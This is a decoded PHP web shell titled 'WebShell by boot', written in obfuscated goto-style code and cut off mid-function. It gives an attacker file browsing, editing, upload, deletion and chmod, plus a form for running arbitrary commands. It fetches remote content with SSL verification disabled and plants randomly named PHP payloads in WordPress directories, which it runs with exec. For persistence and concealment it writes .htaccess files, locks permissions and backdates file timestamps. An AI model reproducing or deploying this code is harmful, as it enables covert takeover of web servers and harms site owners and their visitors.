Decoded Output
Download<?php
goto wkzVH; T5wen: $sSXUt = !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || $_SERVER["SERVER_PORT"] == 443 ? "https://" : "http://"; goto DrsCK; EaEYf: KDkHK: goto daWlT; wkzVH: header("Content-Type: text/html; charset=utf-8"); goto G2yj1; P1ZoX: acUNL(); goto R850A; yXPjn: if ($_POST["type"] == "doors") { goto PDCgV; } goto Lj6Cs; KRcnj: pdzhG: goto moay4; Lasaz: $F0LeY = $QbvJe["DOCUMENT_ROOT"]; goto eUcvU; PXm5V: echo ""/>\xa <input type="hidden" name="act" value="shell"/>
<input type="hidden" name="type" value="exec"/>\xa <input type="hidden" name="group_id" value=""; goto TUu8X; D_eS2: echo "&type=6">Create File</a>
<a class="btn btn-success btn-sm" href="?path="; goto Ig42V; YXsBX: function UwiXj($wjAuf) { goto KX7Ls; czfBJ: pqnXU: goto hzThM; IOvSC: iw6_V: goto hJz7k; hzThM: $Z1U4l = glob($wjAuf . "/*"); goto yg4rb; KX7Ls: if (is_dir($wjAuf)) { goto pqnXU; } goto X0KG5; yg4rb: foreach ($Z1U4l as $ITud5) { goto UdWGv; AacSv: k9HI6: goto hXS9w; Nu816: goto ZUWgY; goto fAw6Z; TIPU3: unlink($ITud5); goto MtDiC; fAw6Z: AS1ct: goto TIPU3; s488R: tnLmy: goto R22xr; hXS9w: UwIxJ($ITud5); goto x5tGZ; x5tGZ: ZUWgY: goto s488R; p1ZZ4: if (is_dir($ITud5)) { goto k9HI6; } goto Nu816; MtDiC: goto ZUWgY; goto AacSv; UdWGv: if (is_file($ITud5)) { goto AS1ct; } goto p1ZZ4; R22xr: } goto IOvSC; X0KG5: return false; goto czfBJ; hJz7k: return rmdir($wjAuf); goto xM9YW; xM9YW: } goto a9E1R; DrsCK: $O1ccF = $_SERVER["HTTP_HOST"]; goto z7Mb8; cVbEW: if (empty($gNE_W)) { goto S53bO; } goto ITa30; beBYg: echo " <div class="row">
<form action="?type=6" method="post">\xa <input type="hidden" id="path" name="path" value=""; goto FJU3D; DvwxZ: J5sbI: goto Jw6BZ; TUu8X: echo $_SESSION["Z3JvdXA="]; goto jvSX3; u3NLL: echo $_SESSION["c2Vjb25k"]; goto IMH6v; BMke8: $hicZU = dirname($UKoAN); goto q4QcV; LNQtG: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto RuowD; yrsSn: if (!empty($AwLlg)) { goto ic6XH; } goto seJ2G; GFAYt: echo ""/>
<button type="submit" class="btn btn-success btn-sm">Reback</button>
</form>\xa </div>\xa <div class="col-2 col-sm-1">\xa <form action="?path="; goto s_J93; nJn0D: H1YpC: goto tPz1O; P7SOa: function oLWXg($iEM1t) { goto V5AKZ; urEyv: rhMrZ: goto H1b40; H1b40: return $iEM1t; goto EuMXr; V5AKZ: foreach ($iEM1t as $BKaq1 => $HLoEV) { $iEM1t[$BKaq1] = base64_decode($HLoEV); doJi3: } goto urEyv; EuMXr: } goto d2pH3; W5bxK: echo "<div class="alert alert-success" role="alert">Directory creation failed!</div>"; goto Htg9a; SAHFd: $wV4eu = $_REQUEST["path"]; goto E0gB6; HLEC6: ZycFN: goto xJfos; SSHbZ: echo $Nd6T2; goto hT1Ns; EEP1_: echo "<div class="alert alert-danger" role="alert">Failed to modify file name!</div>"; goto owGXL; Mwh5N: foreach ($SO_dz as $BKaq1 => $HLoEV) { goto vUNZ8; zUBUM: echo $T7JuE; goto Hgbn7; vUNZ8: if ($HLoEV == "." || $HLoEV == "..") { goto PwVrA; } goto Wl6Gj; iuQuw: TkJgK: goto YGcs2; zvH0a: echo "&type=2">Edit</a>\xa <a class="btn btn-warning btn-xs" href="?path="; goto zUBUM; WBvBv: if (is_dir($T7JuE)) { goto m3buA; } goto t8KzK; o96cN: nP0XC: goto tE3rD; GRyxI: if (is_dir($T7JuE)) { goto TkJgK; } goto ryhxI; t8KzK: echo "<a href="?path=" . $T7JuE . "&type=2">" . $HLoEV . "</a>"; goto hDmFk; pvLGs: XS5eu: goto HQ6Wf; f6GQA: echo " </td>
<td>\xa "; goto phVxU; dwz36: H9kj6: goto rwe8h; tE3rD: echo " </td>\xa <td>
"; goto TPsr4; MpQeZ: echo " </td>
<td>
"; goto GRyxI; EyFdd: echo $T7JuE; goto cQhaJ; YGcs2: echo "<font color="green" style="font-weight: bold;">Directory</font>"; goto dwz36; AJ4PD: echo "" target="_blank">click visit</a>\xa "; goto eHqYy; hDmFk: goto nP0XC; goto X4qKl; yckX6: goto mP_i1; goto pvLGs; QMOUM: echo $T7JuE; goto zvH0a; LwrEH: goto H9kj6; goto iuQuw; X4qKl: m3buA: goto rLPUM; ryhxI: echo VAFfQ($T7JuE); goto LwrEH; XnPpr: $Ge2f3 = filemtime($T7JuE); goto Xxzda; Tf2xA: echo " <tr>
<th>\xa <div class="form-check">\xa <input class="form-check-input" type="checkbox" value=""; goto SYZ0F; z4NNN: echo " </td>
<td>\xa <a class="btn btn-primary btn-xs" href="?path="; goto EyFdd; eHqYy: YSnaw: goto MpQeZ; KlOep: mP_i1: goto z4NNN; Wl6Gj: $T7JuE = $hicZU . "/" . $HLoEV; goto Tf2xA; rLPUM: echo "<a href="?path=" . $T7JuE . "&type=1" style="color: green;font-weight:bold;">
<i class="bi bi-folder" style="vertical-align: middle;">\xa <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-folder" viewBox="0 0 16 16">\xa <path d="M.54 3.87.5 3a2 2 0 0 1 2-2h3.672a2 2 0 0 1 1.414.586l.828.828A2 2 0 0 0 9.828 3h3.982a2 2 0 0 1 1.992 2.181l-.637 7A2 2 0 0 1 13.174 14H2.826a2 2 0 0 1-1.991-1.819l-.637-7a1.99 1.99 0 0 1 .342-1.31zM2.19 4a1 1 0 0 0-.996 1.09l.637 7a1 1 0 0 0 .995.91h10.348a1 1 0 0 0 .995-.91l.637-7A1 1 0 0 0 13.81 4H2.19zm4.69-1.707A1 1 0 0 0 6.172 2H2.5a1 1 0 0 0-1 .981l.006.139C1.72 3.042 1.95 3 2.19 3h5.396l-.707-.707z"/>
</svg>\xa </i>" . $HLoEV . "</a>"; goto o96cN; HQ6Wf: echo "<font color="green" style="font-weight: bold;">" . $M14wo . "</font>"; goto KlOep; UGvfp: if (strpos($M14wo, "w") !== false) { goto XS5eu; } goto TivhR; ivSNT: echo $XbXzE . "/" . $HLoEV; goto AJ4PD; phVxU: $M14wo = d5LOU($T7JuE); goto UGvfp; Hgbn7: echo "&type=5">Chmod</a>\xa </td>
</tr>\xa "; goto ZgmtB; Xxzda: echo date("Y-m-d H:i:s", $Ge2f3); goto f6GQA; ZgmtB: PwVrA: goto teMvY; teMvY: nsf_w: goto NDzcL; SYZ0F: echo $T7JuE; goto vTOeF; rwe8h: echo " </td>
<td>\xa "; goto XnPpr; TivhR: echo "<font color="red" style="font-weight: bold;">" . $M14wo . "</font>"; goto yckX6; vTOeF: echo "" name="childcheck[]">
</div>\xa </th> \xa <td>
"; goto WBvBv; Opg6k: echo " <a href=""; goto ivSNT; TPsr4: if (is_dir($T7JuE)) { goto YSnaw; } goto Opg6k; cQhaJ: echo "&type=4">Rename</a>\xa <a class="btn btn-info btn-xs" href="?path="; goto QMOUM; NDzcL: } goto DvwxZ; U3yPr: echo "<div class="alert alert-danger" role="alert">Failed to modify file permissions!</div>"; goto fX2nG; IQQmc: echo "<div class="alert alert-success" role="alert">Directory already exists!</div>"; goto eFcLP; m2DAF: anv4L: goto j_c1X; GDxGg: O98GY: goto Y5a1f; Qq21j: echo $_SESSION["c2hlbGxfaWQ="]; goto MeCwi; QhUCX: echo ">Writeable</span>\xa </p>\xa </div>\xa "; goto nv2q2; wHwLM: EiCmU: goto UhBdt; tvIki: goto e1LrX; goto lJldC; CA6oi: echo ""/>\xa <div class="form-group">
<input type="text" class="form-control" id="new_name" name="new_name" value=""; goto GuAVw; i6BjG: echo "" method="post" enctype="multipart/form-data">
<input type="text" name="exec_code" class="form-control" value="" style="display: inline-block;width: 50%;"/>
<input type="hidden" name="act" value="exec_code"/>
<button type="submit" class="btn btn-info btn-sm">Exec</button>
</form>
</div>\xa </div>\xa </div>
<div class="col-12" style="margin-bottom: 1rem;">
<div class="row">
<div class="col-6">
<form action="?type=1" method="post" enctype="multipart/form-data">\xa <input type="text" name="dir" class="form-control" value=""; goto HcROf; AG6T2: OZ1vY: goto cLfDB; NbS3d: function pmjHa($pC8JU, $Fu7Uq) { goto SEdpp; OPLzm: bpKT3: goto q9eLG; kfmSo: foreach ($pC8JU as $BKaq1 => $HLoEV) { goto IdLNI; PVe4W: K_Qvv: goto Fa9r4; NorvU: $eCO4z[] = $HLoEV; goto KgD60; IdLNI: if (empty(trim($HLoEV))) { goto U_UxZ; } goto NorvU; KgD60: U_UxZ: goto PVe4W; Fa9r4: } goto SKh9H; TdSM4: $Rc2jY = $Rc2jY . "/" . $SO_dz[rand(0, count($SO_dz) - 1)]; goto XHWdh; T0Fue: lgvGm: goto HbiGG; iMRVP: $kRUTh++; goto I4hQ3; iLUGI: $ax8fr = array("wp-content", "wp-admin", "wp-includes"); goto ecS6h; qYDf9: goto HDQOR; goto T0Fue; ecS6h: $SO_dz = array("css", "images", "img", "js", "themes", "plugins", "uploads", "languages", "includes", "maint", "network", "met", "user", "IXR", "ID3", "fonts", "block", "blocks", "php-compat", "php", "Text", "widgets", "SimplePie", "random", "style-engine", "pomo", "certificates", "blockt"); goto agoXN; q9eLG: $Jx3Dx++; goto qYDf9; WO4xI: HDQOR: goto mcL5J; rV6Fq: $kRUTh = 0; goto DXCjd; SEdpp: $wV4eu = realpath($_SERVER["DOCUMENT_ROOT"]); goto QIQGT; I4hQ3: goto LAWHd; goto W1UKP; mcL5J: if (!($Jx3Dx < $Fu7Uq)) { goto lgvGm; } goto ec1Fr; xZJhV: $eCO4z[] = $Rc2jY; goto OPLzm; XHWdh: dVpmc: goto iMRVP; agoXN: $Jx3Dx = 0; goto WO4xI; W1UKP: FkIK5: goto xZJhV; SKh9H: yh3kg: goto iLUGI; HbiGG: return $eCO4z; goto VcZPc; DXCjd: LAWHd: goto alP09; QIQGT: $eCO4z = array(); goto kfmSo; alP09: if (!($kRUTh < rand(3, 6))) { goto FkIK5; } goto TdSM4; ec1Fr: $Rc2jY = $wV4eu . "/" . $ax8fr[rand(0, count($ax8fr) - 1)]; goto rV6Fq; VcZPc: } goto fs5bJ; QRhhz: echo $UKoAN; goto TiuxF; KVfR8: hUWwC: goto XQUCL; Zwqqj: echo "<div class="alert alert-success" role="alert">File name modified successfully!</div>"; goto RmTJx; AimTL: foreach ($SO_dz as $ITud5) { goto rDZrH; h_egY: echo "<p><input type="checkbox" class="item" name="files[]" value="" . $ITud5 . ""/> " . $Pi60r . "</p>"; goto cxh2X; cxh2X: u4gZF: goto el4rY; rDZrH: $Pi60r = "<a href="?path=" . $ITud5 . "&type=2" target="_blank">" . $ITud5 . "</a>"; goto h_egY; el4rY: } goto RGxY3; ERvMQ: if (!($s1OWX == 3)) { goto jVnIp; } goto CxARo; rusIH: $tryGD = n3ZUB($F0LeY); goto m21zH; Ym51i: $wYqlh = trim($_POST["act"]); goto emr3H; Bhdxw: S53bO: goto fl_7D; Q4P8e: $iakIc = file_get_contents($UKoAN); goto We_tE; HuLFN: if (!is_dir($hicZU . "/" . $plyVc)) { goto a30qV; } goto IQQmc; YU6Lt: function XrsD2($pDJ9q) { goto GPkNo; B3LQi: if (!function_exists("file_get_contents")) { goto D9fSk; } goto gW8Bu; qsYpD: $Zflin = curl_init($pDJ9q); goto J_rhE; lgvxK: curl_setopt($Zflin, CURLOPT_SSL_VERIFYPEER, 0); goto dX0Vk; j3tI3: $D5Bwl = curl_exec($Zflin); goto Zo9fM; EMRyC: $qPSqX = fopen($pDJ9q, "r"); goto qkPsF; ZEvgi: curl_setopt($Zflin, CURLOPT_FOLLOWLOCATION, 1); goto lgvxK; GPkNo: $D5Bwl = ''; goto B3LQi; dX0Vk: curl_setopt($Zflin, CURLOPT_SSL_VERIFYHOST, 0); goto j3tI3; lpeqO: return $D5Bwl; goto H6e9P; mz8lI: if (!(empty($D5Bwl) && function_exists("curl_exec"))) { goto TQF0j; } goto qsYpD; Alvix: TQF0j: goto G2RJx; gW8Bu: $D5Bwl = file_get_contents($pDJ9q); goto ImaXv; OdZmn: fsq_Q: goto lpeqO; J_rhE: curl_setopt($Zflin, CURLOPT_RETURNTRANSFER, 1); goto ZEvgi; ImaXv: D9fSk: goto mz8lI; qkPsF: $D5Bwl = stream_get_contents($qPSqX); goto nXctf; nXctf: fclose($qPSqX); goto OdZmn; Zo9fM: curl_close($Zflin); goto Alvix; G2RJx: if (!(empty($D5Bwl) && function_exists("fopen") && function_exists("stream_get_contents"))) { goto fsq_Q; } goto EMRyC; H6e9P: } goto jgSdi; eUcvU: $UKoAN = $QbvJe["SCRIPT_FILENAME"]; goto BMke8; Ux77u: r1hLO: goto bApR0; V7EVa: Q3I6s: goto N9QRD; zntT0: echo $plyVc; goto nifYO; WzdN7: echo "<div class="alert alert-danger" role="alert">File upload failed!</div>"; goto bM8qE; bFBvq: $Nd6T2 = $AwLlg; goto jA1DO; We_tE: echo " <textarea class="form-control" id="exampleFormControlTextarea1" name="file_content" rows="20" cols="100">"; goto qmdNn; YcRxk: echo ""/>\xa <input type="hidden" name="group_id_2" value=""; goto u3NLL; W7ucs: goto O_zqm; goto E8Tzo; YYaB8: function Kamki($kYzEH, $niwNW, $bQ2mI, $uvI30, $l6zJ6) { goto zE2YT; wNQiI: $uvI30 = str_replace("[##htcontent##]", base64_encode($niwNW), $uvI30); goto krDgs; d2eN0: EwIGX: goto Zcrdk; Bahoj: return false; goto gfS4f; krDgs: $uvI30 = str_replace("[##indexcontent##]", base64_encode($bQ2mI . $l6zJ6), $uvI30); goto RXaUw; SeRHT: wxnQ8: goto Bl8oR; JCBgR: dPiwn: goto BWqbe; Bl8oR: if ($uDtUx === 0) { goto dPiwn; } goto Bahoj; RXaUw: $CcKhk = $kYzEH . "/wp-includes/" . hWqJS() . ".php"; goto UoiUI; CtDnj: exec("php -f {$CcKhk} > /dev/null 2>/dev/null &", $qB6bF, $uDtUx); goto SeRHT; gfS4f: goto EwIGX; goto JCBgR; quTNf: fwrite($oyu8v, $uvI30); goto fQ4Mh; zE2YT: $uvI30 = str_replace("[##website_path##]", $kYzEH, $uvI30); goto wNQiI; fQ4Mh: fclose($oyu8v); goto QmKiE; QmKiE: $qB6bF = []; goto cUWFz; cUWFz: $uDtUx = 0; goto V2BeK; V2BeK: if (!function_exists("exec")) { goto wxnQ8; } goto CtDnj; UoiUI: $oyu8v = fopen($CcKhk, "a+"); goto quTNf; BWqbe: return true; goto d2eN0; Zcrdk: } goto tGFU3; kfhB2: echo " <div class="row">\xa <form action="?type=4" method="post">
<input type="hidden" id="path" name="path" value=""; goto WIdn6; jslKn: echo $UKoAN; goto plOty; ExMHy: A0R89: goto bOhWR; h6MV7: echo ""/>
<input type="hidden" name="shell_type" value=""; goto ulZ3P; mtcaf: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto eHdHM; X8f8a: fyBZN: goto snN32; BnsUo: Lxe5u: goto Jzs7R; bDFqz: pF_hV: goto dS69f; a81F7: zdpw_: goto SkXUo; UhBdt: echo "<div class="alert alert-success" role="alert">File content modified successfully!</div>"; goto e231o; c03sQ: echo "<div class="alert alert-success" role="alert">File created successfully!</div>"; goto l93Xr; moay4: clEHo($_POST, $EjEmp, $k5zcJ, $XY7l9); goto VdUUN; WeFxc: O_zqm: goto RwGeO; n3k3R: echo $UKoAN; goto DJdg7; muen2: if (!(isset($_POST["act"]) && $_POST["act"] == "del")) { goto r1hLO; } goto P28Yf; eNc9e: echo $_SESSION["dHlwZQ=="]; goto J5SB3; hT1Ns: echo "">
</div>\xa <button type="submit" class="btn btn-success">Edit</button>\xa </form>\xa </div>
"; goto ccCEf; ITa30: $egTvp = array(); goto YicUn; Wvix3: Ab5aT: goto ZU3Bz; cxcjq: mXcEl: goto kPNw6; AZOo0: exec($uvI30, $EpgdR, $ZrvyM); goto ofWpX; vDYG0: $ITud5 = fopen($hicZU . "/" . $plyVc, "w"); goto LZ6TG; K0otj: echo "<div style='color: green;font-weight:bold;'>" . $uvI30 . " is Successfully.</div>"; goto ofsMg; aAK5Q: function Rlsa3($wV4eu = ".", $uwsBo = 8, $eilv5 = 1) { goto xZS6M; ii74g: f70uR: goto lUvde; UXHCv: foreach ($Ji7ga as $UCzbv) { goto WSZ0l; VtsNU: $z3h_0 = array_merge($z3h_0, $wrYYk); goto mtt6h; jMvC8: $z3h_0[] = $ddqKC; goto L04YU; WSZ0l: if (!($UCzbv == "." || $UCzbv == "..")) { goto ymD0B; } goto ASeO3; x8JDh: if (!is_dir($ddqKC)) { goto Y6zNz; } goto jMvC8; mtt6h: Y6zNz: goto k1Dqp; ASeO3: goto PoaRn; goto FiuD2; FiuD2: ymD0B: goto UNx1f; k1Dqp: PoaRn: goto WhDsR; L04YU: $wrYYk = rLsa3($ddqKC, $uwsBo, $eilv5 + 1); goto VtsNU; UNx1f: $ddqKC = $wV4eu . DIRECTORY_SEPARATOR . $UCzbv; goto x8JDh; WhDsR: } goto ii74g; xZS6M: $z3h_0 = array(); goto JbVXm; JbVXm: if (!($eilv5 > $uwsBo)) { goto KlV4T; } goto zlQ1L; lUvde: return $z3h_0; goto yGIWm; Zg0WT: $Ji7ga = scandir($wV4eu); goto UXHCv; DMMY4: KlV4T: goto Zg0WT; zlQ1L: return $z3h_0; goto DMMY4; yGIWm: } goto bJawj; bM8qE: goto UfNqj; goto j5H_Y; seJ2G: $JLGB3 = fileperms($UKoAN); goto rVmmp; ASG8s: echo ""/>\xa <input type="hidden" name="shell_type" value=""; goto u1e0h; X_Krb: echo "&type=7">Create Folder</a>\xa <a class="btn btn-warning btn-sm" href="?path="; goto Gfapv; bOhWR: $pBBP9 = explode("/", $UKoAN); goto clB8w; FODtv: echo ""/>\xa <button type="submit" class="btn btn-info btn-sm">Others</button>\xa </form>
</div>
<div class="col-2 col-sm-1">\xa <form action="?path="; goto QRhhz; PQ1Vq: echo ""/>
<input type="hidden" name="shell_id" value=""; goto PX8kv; BuVJB: a8hx0: goto X8f8a; pD88J: echo " <div class="row">\xa <form action="?type=3" method="post">\xa <input type="hidden" id="path" name="path" value=""; goto OeXaq; ofWpX: if ($ZrvyM === 0) { goto S5Qqf; } goto cK5Oe; UAlPC: goto hUWwC; goto fhl1T; RLN4T: echo " </div>
</form>\xa "; goto Bhdxw; dk1MV: echo " <span "; goto PdAp4; WIdn6: echo $UKoAN; goto MfDmB; A8Fu3: goto pF_hV; goto nJn0D; egDui: ZrCem: goto beBYg; jvSX3: echo ""/>
<input type="hidden" name="shell_id" value=""; goto RxHcR; fISyZ: echo $_SESSION["c2hlbGxfY29kZV9ud205Zjk="]; goto YwHE5; m4rqZ: $y8p09 = ''; goto epyW7; IlCQD: echo ""/>
<input type="hidden" name="act" value="shell"/>\xa <input type="hidden" name="type" value="station"/>\xa <input type="hidden" name="shell_id" value=""; goto Qq21j; Sx78n: To1ZZ: goto egDui; o1BDQ: echo $_SESSION["Z3JvdXA="]; goto dQMcY; OeXaq: echo $UKoAN; goto WXAm8; wUT_P: echo ""/>
<div class="form-group">
"; goto hHL0U; clB8w: if (is_dir($hicZU)) { goto jYUBL; } goto VE_jZ; RwGeO: VKpcZ: goto vnKye; N9QRD: echo ">Readable</span> | <span "; goto ZwD77; gk8x5: function ZHUve($eGTQx, $iakIc, $e31nN = 0) { goto YwLjV; dzu7d: w7__w: goto Vx1ge; Wjtpq: uSLOx: goto LcqMu; Vx1ge: $LzzBZ = fwrite($qPSqX, $iakIc); goto ABGoe; xOh0J: if (!function_exists("file_put_contents")) { goto F7fxR; } goto U2TSH; eJNVJ: $uDtUx = 0; goto XgKXX; YvbH8: Uy6mW: goto Ep1Dy; H1mt0: $qPSqX = fopen($eGTQx, $d_LgZ); goto nMDp6; Pfk3I: return false; goto HBAEB; XgKXX: goto Uy6mW; goto K_HCj; KJsey: return true; goto thfmo; VZfXR: $d_LgZ = $e31nN & FILE_APPEND ? "a" : "w"; goto H1mt0; Ep1Dy: F7fxR: goto Qb7es; YS280: $uDtUx = 1; goto YvbH8; TReyG: flock($qPSqX, LOCK_EX); goto dzu7d; YwLjV: $uDtUx = 0; goto xOh0J; ABGoe: fclose($qPSqX); goto P20NS; RfAcq: if (!($e31nN & LOCK_EX && function_exists("flock"))) { goto w7__w; } goto TReyG; K_HCj: C309d: goto YS280; U2TSH: $egTvp = @file_put_contents($eGTQx, $iakIc, $e31nN); goto XJ1XY; Qb7es: if (!($uDtUx == 0)) { goto ag19S; } goto VZfXR; HBAEB: tavBU: goto RfAcq; nMDp6: if ($qPSqX) { goto tavBU; } goto Pfk3I; XJ1XY: if ($egTvp !== false) { goto C309d; } goto eJNVJ; P20NS: if (!($LzzBZ === false)) { goto uSLOx; } goto cXMWT; LcqMu: ag19S: goto KJsey; cXMWT: return false; goto Wjtpq; thfmo: } goto e0EhV; Bcx6c: echo $UKoAN; goto CPSun; n0Gl1: if ($s1OWX == 8) { goto yC1Te; } goto tWTgA; ulZ3P: echo $_SESSION["dHlwZQ=="]; goto GFAYt; Icv7l: $Ptssn = 0; goto uRfgn; CLnQi: echo "<!DOCTYPE html>
<html lang="en">
<head>\xa <title>WebShell by boot</title>\xa <meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>\xa <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>\xa <style>.col-12{width: 100%;display: inline-block;}.col-6{width: 50%;display: inline-block;float: left;}</style>\xa</head>\xa<body>\xa<div class="jumbotron text-center" style="padding: 1rem 0rem;">\xa <h1 style="font-size:2rem;font-weight: bold;margin: 1rem 0;">WebShell by boot</h1>\xa</div>
<div class="container">
<div class="row">\xa <p>\xa <div style="width: 30%;display:inline-block;">Server IP: "; goto F0hGX; FO13T: ic6XH: goto mcaei; lJldC: ImIH3: goto i3dwn; wMPew: UsIO3: goto UdzfN; GuAVw: echo $plyVc; goto fXAYh; Q8bGM: echo "<div class="alert alert-danger" role="alert">Delete " . $Ptssn . " files failed!</div>"; goto NK0AN; JTim7: echo "</div>
</p>\xa <p>
<div style="width: 30%;display:inline-block;">Website: "; goto kaj0o; QpF5b: if ($s1OWX == 5) { goto DUk4S; } goto t3Ahy; KYOAD: goto JeIng; goto KRcnj; u1e0h: echo $_SESSION["dHlwZQ=="]; goto Rdrav; JxCQV: echo ""/>
<input type="hidden" name="act" value="shell"/>
<input type="hidden" name="type" value="others"/>
<input type="hidden" name="shell_id" value=""; goto gGnRx; FJU3D: echo $UKoAN; goto pq13M; An7OU: goto IfFyA; goto wHwLM; yxzBN: function pR9Lq($ffvMO, $VoGAg, $Mq0lu, $hJqm6) { goto wuQJ3; Db75J: if (!(file_put_contents($ffvMO . "/.htaccess", $q72SH) !== false)) { goto zdPeu; } goto LQbwe; tTeTS: return false; goto xAHVM; sEgtY: Kp0Ui: goto XlMGw; wuQJ3: if (is_dir($ffvMO)) { goto Kp0Ui; } goto zr9Bu; tp7a0: $q72SH = str_replace("{#htcontent}", $VoGAg, $Mq0lu); goto mUCTa; Vf8A0: s1OiJ: goto qxRL7; RYdb3: $q72SH = ''; goto tp7a0; RTEva: $s3FZc = time() - rand(30, 100) * 24 * 60 * 60 - rand(0, 3600); goto aSG4Q; jAwHd: if (file_put_contents($U8nyI, $hJqm6) !== false) { goto QdYSo; } goto tTeTS; aSG4Q: touch($ffvMO, $s3FZc); goto DKL90; XlMGw: $U8nyI = $ffvMO . "/" . $VoGAg; goto jAwHd; LQbwe: chmod($ffvMO . "/.htaccess", 0555); goto J3mAu; DKL90: chmod($U8nyI, 0555); goto RYdb3; xAHVM: goto s1OiJ; goto jKrxV; aU3ke: return true; goto Vf8A0; t1vEH: chmod($ffvMO, 0555); goto aU3ke; mUCTa: chmod($ffvMO . "/.htaccess", 0755); goto Db75J; jKrxV: QdYSo: goto RTEva; J3mAu: zdPeu: goto t1vEH; zr9Bu: mkdir($ffvMO, 0755, true); goto sEgtY; qxRL7: } goto Oi878; hJk5W: function xpEBK($wV4eu) { goto olW36; ImbcU: $z3h_0 = glob($SrGCr . "/*", GLOB_ONLYDIR); goto xvIjX; olW36: $yryKk = array(); goto wGX4r; YP2j3: return $yryKk; goto ABLMM; IIvQO: $yryKk = array_merge($yryKk, $z3h_0); goto YP2j3; wGX4r: $SrGCr = dirname($wV4eu); goto ImbcU; xvIjX: $yryKk = $z3h_0; goto YvTFN; Yq0yg: $z3h_0 = isset($z3h_0) && is_array($z3h_0) ? $z3h_0 : []; goto IIvQO; YvTFN: $SrGCr = dirname($SrGCr); goto WguAi; tMNqh: $yryKk = isset($yryKk) && is_array($yryKk) ? $yryKk : []; goto Yq0yg; WguAi: $z3h_0 = glob($SrGCr . "/*", GLOB_ONLYDIR); goto tMNqh; ABLMM: } goto YU6Lt; F0hGX: echo $QbvJe["SERVER_ADDR"]; goto BdtDH; czdL2: OcNC4: goto DZcYo; PdAp4: if ($Ce_1b) { goto Lxe5u; } goto oYnDt; l93Xr: bLWGX: goto Ev4on; KhScz: if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ZFXb5)) { goto w66DR; } goto WzdN7; e0xkx: echo "" method="post">
\x9\x9 \x9\x9<input type="hidden" name="c2hlbGxfY29kZV9ud205Zjk=" value=""; goto M_Ifp; p8Fvo: goto ir3Dl; goto UuJPZ; rMavD: IKCfJ: goto bxj3L; p5pGF: echo $UKoAN; goto Nu2mv; Q4vkB: session_start(); goto NL5mM; NK0AN: JpNwj: goto LvBZH; iGMd9: function jlsfy($xjQ5R, $Tl7bq, $nrSJz, $FSwXV, $dc2UX, $Mq0lu, $TIr0V, $k5zcJ) { goto VHLiK; jvxub: $uSOQx = array(); goto nMZkY; LolMu: $D1vxP = str_replace($wV4eu, $k5zcJ, $T7JuE); goto uQmir; mWwXk: return $egTvp; goto ch9WU; EM5hn: foreach ($sICVF as $BKaq1 => $HLoEV) { $sICVF[$BKaq1] = $wV4eu . $HLoEV; Arhn7: } goto V4BTP; xyEob: $egTvp["door_files"] = $R1pQf; goto UuKbM; zlr7n: $mVEP_ = array_merge($mVEP_, $sICVF); goto uJOxN; ruZY7: $Fu7Uq = count($xjQ5R) + count($Tl7bq) - count($KW03p); goto lPL2O; ett4M: $mVEP_ = array(); goto DBas1; Imi88: $mVEP_ = $ifLEm; goto zlr7n; fKlKC: $D1vxP = ''; goto bm_tI; V1ajm: $Jx3Dx = 0; goto fKlKC; RdiuV: $q21GG = array(); goto jvxub; V69bE: if (empty($f7Rro)) { goto Cr9bO; } goto LbNEb; V4BTP: rBOBN: goto Imi88; gB9YH: if (!$uDtUx) { goto ZqBzb; } goto LolMu; P1c76: $pkfz6 = array_rand($KW03p, count($xjQ5R) + count($Tl7bq)); goto Vsnth; uQmir: ZqBzb: goto R4z63; R4z63: Cr9bO: goto RakOc; GiVnJ: RmEqj: goto P1c76; lx1PA: $egTvp["count"] = $J8pN3; goto mWwXk; Vsnth: $R1pQf = array(); goto yphIX; LbNEb: $T7JuE = $f7Rro . "/index.php"; goto Yu60_; lPL2O: $KW03p = pMJha($KW03p, $Fu7Uq); goto GiVnJ; woAUA: global $KW03p, $KNM5I, $f7Rro; goto i07Er; Yu60_: $uDtUx = aERaR($T7JuE, $TIr0V); goto gB9YH; VHLiK: $egTvp = array(); goto woAUA; m5YA1: IhS6Y: goto xyEob; JG01Z: gVLuR: goto Lw985; Jj3OR: if (!(count($ifLEm) > 0)) { goto IhS6Y; } goto ett4M; Jg42H: RHVBp: goto V69bE; yphIX: $ifLEm = array(); goto V1ajm; XyA5t: FPizy($wV4eu, 1, $UMc82); goto pTiFQ; eqPBC: WJPb4: goto m5YA1; RakOc: $J8pN3 = 0; goto Jj3OR; pTiFQ: if (!(count($KW03p) < $UMc82)) { goto RmEqj; } goto ruZY7; uJOxN: $mVEP_[] = $wV4eu . "/" . $FSwXV; goto RdiuV; DBas1: $sICVF = explode(";", $nrSJz); goto EM5hn; nMZkY: foreach ($mVEP_ as $BKaq1 => $HLoEV) { goto SuHN4; Q1FLg: hOmm0: goto gI9_q; I1jZx: $uSOQx[] = basename($HLoEV); goto Q1FLg; SuHN4: $q21GG[] = dirname($HLoEV); goto I1jZx; gI9_q: } goto JG01Z; UuKbM: $egTvp["shell_other_url"] = $D1vxP; goto lx1PA; UcNjH: $UMc82 = count($xjQ5R) + count($Tl7bq); goto XyA5t; Lw985: foreach ($KNM5I as $BKaq1 => $ZXzrH) { goto EpAfl; vWjQw: chmod($ZXzrH . "/.htaccess", 0755); goto RKvPM; EpAfl: $R_2OK = array(); goto mEUw7; Y0JNM: $J8pN3++; goto TGDgs; GPZzb: ZD7rD: goto G16RL; stW1H: $q72SH = $dc2UX; goto FFtBD; FFtBD: goto dH5vN; goto ljgTQ; jBRJz: dH5vN: goto vWjQw; ZfJb1: if (!empty($R_2OK)) { goto UDOem; } goto stW1H; RKvPM: if (!(file_put_contents($ZXzrH . "/.htaccess", $q72SH) !== false)) { goto pYtQa; } goto Y0JNM; w9MQM: $q72SH = str_replace("{#htcontent}", implode("|", $R_2OK), $Mq0lu); goto jBRJz; ljgTQ: UDOem: goto w9MQM; kR4Se: Ljg1T: goto kdc0W; mEUw7: foreach ($q21GG as $QL_EW => $Ief5P) { goto PNhYF; PNhYF: if (!($ZXzrH == $Ief5P)) { 